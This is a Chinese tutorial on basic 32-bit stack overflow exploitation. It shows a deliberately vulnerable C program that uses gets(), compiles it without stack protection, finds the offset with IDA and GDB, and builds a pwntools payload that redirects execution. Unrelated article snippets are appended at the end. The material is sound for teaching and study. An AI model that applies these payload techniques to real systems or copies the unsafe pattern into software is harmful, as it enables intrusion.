c++堆栈溢出怎么解决_栈溢出基础

97e77ffc8fd5bd57bdc3116fc63fd2a7.png

一. 基础知识

    • 什么是缓冲区溢出
      • 在深入探讨技术之前, 让我们先了解一下缓冲区溢出的实际内容.想象一个非常简单的程序, 要求你输入你的用户名, 然后返回到它在做什么.从视觉上看, 如下所示

ee2ca5298de40fb9bd50cdcd0df2a07e.png
      • 注意到括号之间的空格是输入用户名的预期空间.那个空间是我们的缓冲.处理用户名后, 返回地址将告知程序需要执行的下一个指令.现在, 如果我们不仅输入用户名, 而且添加其他数据以溢出此缓冲区空间, 会发生什么情况?
      • 不仅如此, 我们键入的是一些 shellcode(一系列计算机指令, 通过示例给我们提供远程 shell), 一些虚拟数据和该 shellcode 的地址, 而不只是键入名字, 而是键入一些 shellcode.程序将遵循我们覆盖的 shellcode 地址而不是正常的返回地址, 而是执行我们的 shellcode, 而不是返回到预期的指令.这是缓冲区溢出攻击.

23ef27968898b575ac2a7baa754f25a6.png
    • 函数调用栈在内存中从高地址向低地址生长
    • 函数状态主要涉及三个寄存器EBP, ESP, EIP
      • EBP : 用来存储当前函数状态的基地址, 在函数运行时不变, 可以用来索引确定函数参数或局部变量的位置
      • ESP : 用来存储函数调用栈的栈顶地址, 在压栈和退栈时发生变化
      • EIP : 用来存储即将执行的程序指令的地址, cpu 依照 EIP 的存储内容读取指令并执行, EIP 随之指向相邻的下一条指令
    • 二进制, 十进制, 十六进制表示
      • 二进制 : 101010110B
      • 十进制 : 100
      • 十六进制 : 4E20H, 4e20h, 0x4E20, 0x4e20
    • 小端字节序, 大端字节序
      • 举例来说, 数值0x2211使用两个字节储存:高位字节是0x22, 低位字节是0x11
        • 小端字节序:低位字节在前, 高位字节在后, 即以0x1122形式储存
        • 大端字节序:高位字节在前, 低位字节在后, 即以0x2211形式储存, 这是人类读写数值的方法

ef9d93ebaf51d74003bfb9dcf7f65dd1.png
        • 一般操作系统都是小端, 而通讯协议是大端的

二. 栈溢出基本原理

  • 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变
  • 发生栈溢出的基本前提是
    • 程序必须向栈上写入数据
    • 写入的数据大小没有被良好地控制
    • 当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击

三. 栈溢出 Demo 讲解

  • demo 代码
#include <stdio.h>
#include <string.h>void pwn() 
{ puts("Stack Overflow!"); 
}void vulnerable() 
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv) 
{vulnerable();return 0;
}
  • 代码解释
    • 函数pwn()
      • 正常执行代码时, 该函数不会被调用, 在之后的内容中我们会通过栈溢出调用该函数
      • 功能为打印Stack Overflow!
    • 函数vulnerable()
      • 正常执行代码时, 函数被调用
      • 功能为获取用户输入然后打印
  1. 编译该c文件 : gcc -m32 -fno-stack-protector stack_test.c -o stack_test
  • gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie

2. 使用IDA进行静态汇编代码分析

  • IDA 下载地址 : https://pan.baidu.com/s/1h0pt4SNylRYH4P4dMviKAQ 提取: rfqm
    • 使用IDA打开该ELF文件(即生成的stack_test文件)
    • F5, 点击左侧的vulnerable()函数, 查看伪代码
int vulnerable()
{char s; // [esp+4h] [ebp-14h]gets(&s);return puts(&s);
}
  • 由此得到
    • 变量s的地址 = EBP的地址 - 14h
  • 由于C语言标准库的 gets() 函数并未限制输入数据长度的漏洞, 从而可以实现了栈溢出, 而其参数s距离EBP的偏移地址为14h
    • 点击查看我们需要溢出至调用的目标函数pwn(),记下它的地址0x0804843B

f45e335135431a77d3e26ff57b33d3b0.png

3. 计算偏移地址

1b41cadc8f099b76ac0dd8616b6ade8f.png
  • 目的: 将被调用函数的返回地址, 通过改变可控变量的值, 替换为我们指定的地址
    • 通过指定变量s的值, 使得被调用函数的返回地址, 变为pwn函数的地址
  • 被调用函数的返回地址 = EBP的地址 + 4h
    • 4h为EBP大小
    • x86-32, 所有主寄存器(包括EBP)的大小都是32位,在堆栈上占4个字节
    • vulnerable函数的返回地址 = EBP的地址 + 4h = (变量s的地址 + 14h) + 4h = 变量s的地址 + 18h
      • 通过IDA可知 EBP的地址 = 变量s的地址 + 14h
    • 所以只需要指定s变量为任意18h个字符和pwn函数地址组成的字符串即可

四. 编写payload

  • 在下面payload中,前面14h个字节码用“a”覆盖,将EBP覆盖为“aaaa”,最后插入小端存储形式的pwn()函数地址
from pwn import process, flat, p32sh = process("./stack_test")
pwn_function_address = 0x0804843B
payload = flat(['a' * 0x18, p32(pwn_function_address)])
sh.sendline(payload)
print (sh.recvall())
  • from pwn import *
    • python2: pip install pwn
    • python3: pip3 install git+https://github.com/arthaud/python3-pwntools.git
  • sh = process("./stack_test")
    • 开启进程执行stack_test
  • pwn_function_address = 0x0804843B
    • pwn函数的地址
  • payload = flat(['a' * 0x18, p32(pwn_function_address)])
    • ['a' * 0x18, p32(pwn_function_address)]
      • 0x14 == 20
      • p32: 将传入的数转为小端字节序返回
      • 返回结果: ['aaaaaaaaaaaaaaaaaaaaaaaa', b'x3Bx84x04x08']
    • flat(['aaaaaaaaaaaaaaaaaaaaaaaa', b'x3Bx84x04x08'])
      • flat: 将传入参数合并为一个字符串
      • 返回结果: b'aaaaaaaaaaaaaaaaaaaaaaaax3Bx84x04x08'
  • sh.sendline(payload)
    • 向进程发送数据
  • print (sh.recvall())
    • 打印进程返回的数据
  • 效果图

f8f7edfe918ce57ab2691a3a1c477c86.png

五. GDB计算偏移地址

其实由IDA分析可以知道, 参数s距离EBP的偏移地址为14h. 但是有时候并不能完全相信IDA计算出来的偏移, 最为准确的是用GDB打断点调试出来, 下面介绍两种GDB方法.
  • GDB 配置
    • 安装peda
      • git clone https://github.com/longld/peda.git ~/peda
      • echo "source ~/peda/peda.py" >> ~/.gdbinit
      • 更改peda默认颜色: 修改peda颜色 - twfb - 博客园
  • GDB 基础
    • b: 添加断点
    • r: 执行程序
    • c: 继续执行
    • info break: 查看断点
    • del 1: 删除第一个断点

1. GDB断点调试获取

  • 执行gdb stack_test
    • b vulnerable
    • r
    • 效果图

a6744a9c95d6050daafafd087f17081c.png
      • b *0x8048466
        • 找到调用gets后的地址为0x8048466, 在此处打断点, 查看调用gets后的状况
      • c
      • 输入任意值
      • 效果图

23c89083793ca5ba85600ba8a52da547.png
      • 由上步可以得到变量地址为0xffffd664, EBP地址为0xffffd678
        • 0xffffd664 = 0xffffd678 - 0x14

2. 使用GDB pattern字符串溢出计算偏移量

  • 执行gdb stack_test
    • pattern_create 200
      • 复制生成的字符串
    • r
    • 粘贴
    • 效果图

b199d1420cd65331dcd0811a59de2e6b.png
    • 复制EIP的地址
    • pattern_offset 0x44414128
      • 返回信息 1145127208 found at offset: 24
      • 24 = 18h = vulnerable函数的返回地址 - 变量s的地址

六. 小结

总体而言主要分为两个步骤, 先是找到危险函数确定存在栈溢出漏洞, 然后就是通过调试分析计算出栈溢出攻击利用需要溢出的偏移量, 最后就通过覆盖地址的方法来直接或者间接地控制程序执行流程

1. 寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
  • 输入
    • gets,直接读取一行,忽略x00
      • scanf
      • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到x00停止
    • strcat,字符串拼接,遇到x00停止
    • bcopy

2. 确定填充长度

计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移
  • 一般变量会有以下几种索引模式

1. 相对于栈基地址的的索引, 可以直接通过查看 EBP 相对偏移获得

2. 相对应栈顶指针的索引, 一般需要进行调试, 之后还是会转换到第一种类型

3. 直接地址索引, 就相当于直接给定了地址

  • 一般来说,我们会有如下的覆盖需求

1. 覆盖函数返回地址,这时候就是直接看 EBP即可

2. 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了

3. 覆盖 bss 段某个变量的内容

4. 根据现实执行情况,覆盖特定的变量或地址的内容

  • 参考链接:
    • Buffer Overflow introduction
    • 理解字节序 - 阮一峰的网络日志
    • 栈溢出基本原理
    • 手把手教你栈溢出从入门到放弃(上)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/567747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

object detection训练自己数据

1、用labelImg标自己数据集。 并将图片存放在JPEGImages中&#xff0c;xml存放在Annotations中 2、分离训练和测试数据 import os import randomtrainval_percent 0.66 train_percent 0.5 xmlfilepath Annotations txtsavepath ImageSets\Main total_xml os.listdir(xml…

计算机检索word文档检索式,完整word版)中国知网等文献检索的一般方法

《完整word版)中国知网等文献检索的一般方法》由会员分享&#xff0c;可在线阅读&#xff0c;更多相关《完整word版)中国知网等文献检索的一般方法(9页珍藏版)》请在人人文库网上搜索。1、文献检索一般方法同学们&#xff1a;可能你们目前接触到的文献并不多&#xff0c; 但以后…

python数据处理和数据分析的区别_python数据处理(七)之数据探索和分析

1.探索数据 1.1 安装agate库 1.2 导入数据 1.3 探索表函数 a.排序 b.最值&#xff0c;均值 c.清除缺失值 d.过滤 e.百分比 1.4 连结多个数据集 a.捕捉异常 b.去重 c.缺失数据的处理 d.联结数据集 1.5 识别相关性 利用numpy分析 1.6 找出离群值 a.使用标准差 b.使用绝对中位差 &…

object detection错误Message type object_detection.protos.SsdFeatureExtractor has no field named bat

google.protobuf.text_format.ParseError: 35:7 : Message type "object_detection.protos.SsdFeatureExtractor" has no field named "batch_norm_trainable" 将pipeline.config中的 batch_norm_trainable: true 删除就可以。 在运行ssd_mobilenet_v1…

测试人多少岁的软件,抖音你的三观多少岁免费测试app

抖音你的三观多少岁免费测试app是一款非常好玩的三观测试软件&#xff0c;所谓三观&#xff0c;指的是价值观、人生观和世界观。三观对一个人的生活起着决定作用,所以拥有一个正确的三观太重要了。你的三观你了解么&#xff1f;如果对自己的三观比较模糊的用户可以通过这款软件…

基础功能4-画loss

1添加loss到txt文件 a[] for i in range(2):a.append(i) fileopen(data.txt,w) file.write(a) file.close()2从txt中读取并画图 list [] with open(data.txt, r) as f:for line in f.readlines():arr line.split(,) print(arr.__len__()) arr[0]arr[0][1:] arr[-1]arr[-1][…

苹果怎样用小米云服务器,苹果换华为/小米,怎么同步数据?教程来了!

原标题&#xff1a;苹果换华为/小米&#xff0c;怎么同步数据&#xff1f;教程来了&#xff01;由于系统不同&#xff0c;iOS和Android之间数据迁移一直都是跨平台换机用户的“绊脚石”。而且iOS是封闭系统&#xff0c;不像Android那么开源。尽管市面上的App基本都支持两大系统…

python中变量和函数的区别_python中带下划线的变量和函数的意义

Python 的代码风格由 PEP 8 描述。这个文档描述了 Python 编程风格的方方面面。在遵守这个文档的条件下&#xff0c;不同程序员编写的 Python 代码可以保持最大程度的相似风格。这样就易于阅读&#xff0c;易于在程序员之间交流。 1 变量 常量 : 大写加下划线1 USER_CONSTANT 对…

VS2015qt配置完成后添加菜单栏

再vs 中将.ui文件打开 即打开qt 在qt中 新建 mainWindow文件有菜单&#xff0c;保存 然后在vs 中的formfile中添加.ui文件 ,右击编译 会自动生成ui_XXX.h 文件 在自己建立.h .cpp文件

mycloud搭建网页服务器,WD MyCloud(V04)中配置WebDAV服务

MyCloud 升到V04(当前v04.01.00-408)后总是很脆弱&#xff0c;装个aria2一不小心就砖了&#xff0c;但是由于自带的Dashboard 就是基于 Apache &#xff0c;而且各种线索证明搭建WebDAV还是有戏的&#xff0c;步骤如下&#xff1a;准备工作0.SSH登陆到MyCloud1.建立目录首先建立…

github搜索技巧_和逛知乎、刷微博一样高效使用 GitHub

自打毕业之后&#xff0c;可以说每天打开 Github 或Email 看有没有 watch 项目的消息或者自己项目的 issue&#xff0c;然后在Explore 看看社区内项目的走势&#xff0c;紧接着开始写代码搬砖的工作&#xff0c;偶尔也会关注下 Github 的 Blog, 看看有没有大新闻&#xff0c;亦…

方舟服务器维护驯龙,方舟生存进化新手图文攻略 最详细的驯龙教程方法

《方舟&#xff1a;生存进化》很多新手玩家不知道前期如何生存&#xff0c;不知道有什么技巧&#xff0c;下面小编就为大家带来方舟生存进化的图文攻略&#xff0c;也就是新手图文攻略教程&#xff0c;希望对想要接触或这刚刚接触这款游戏的玩家有所帮助。首先&#xff0c;进入…

pyqt5 获取Qlabel中的图片并对其进行处理(包括Qimage转换为Mat)

1、提取Qlabel中的图片 qimgself.showScreenImgLabel.pixmap().toImage() 2、将Qimage转换为mat def qimage2mat(self,qimg):ptr qimg.constBits()ptr.setsize(qimg.byteCount())mat np.array(ptr).reshape(qimg.height(), qimg.width(), 4) # 注意这地方通道数一定要填4&…

服务器ios文件,ios 文件到服务器

ios 文件到服务器 内容精选换一换安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具&#xff0c;将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具&#xff0c;将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使…

pyqt出现“Ui_Dialog has no attribute “show””

将设计好的.ui文件经过pycharm中的Pyuic命令后生成对应的.py文件。 此时生成的.py文件并没有初始化。需要额外添加初始化代码 class Ui_MainWindow(QtGui.QMainWindow):def __init__(self):super(Ui_MainWindow,self).__init__()self.setupUi(self)self.retranslateUi(self) …

python二维图颜色函数_Python绘图之二维图与三维图详解

各位工程师累了吗? 推荐一篇可以让你技术能力达到出神入化的网站"持久男" 1.二维绘图 a. 一维数据集 用 Numpy ndarray 作为数据传入 ply 1. import numpy as np import matplotlib as mpl import matplotlib.pyplot as plt np.random.seed(1000) y np.random.stan…

Windows10配置CUDA10.0+cudnn7.5.1

1、安装CUDA10.0 &#xff08;1&#xff09;下载&#xff1a;https://developer.nvidia.com/cuda-10.0-download-archive?target_osWindows&target_archx86_64&target_version10&target_typeexelocal 双击安装包进行安装&#xff0c;路径全部默认不做修改 &#…

金蝶云系统服务器,金蝶系统云服务器已离线

金蝶系统云服务器已离线 内容精选换一换本节操作介绍在Windows和Linux环境中使用SSH密码方式远程登录Linux云耀云服务器的操作步骤。云耀云服务器状态为“运行中”。云耀云服务器已经绑定弹性公网IP。所在安全组入方向已开放22端口&#xff0c;配置方式请参见配置安全组规则。使…

python 并列条形图_python – 来自两个pandas数据框的分组条形图

我有两个包含不同值但结构相同的数据框&#xff1a; df1 0 1 2 3 4 D 0.003073 0.014888 0.155815 0.826224 NaN E 0.000568 0.000435 0.000967 0.002956 0.067249 df2 0 1 2 3 4 D 0.746689 0.185769 0.060107 0.007435 NaN E 0.764552 0.000000 0.070288 0.101148 0.053499…

微信公众平台服务器 反馈,微信公众号开发之大坑

问题&#xff1a;ascii codec cant encode characters in position 0-25: ordinal not in range(128)解决&#xff1a;import sysreload(sys)sys.setdefaultencoding()报错&#xff1a;{"errcode":41011,"errmsg":"missing agentid"}解决&#x…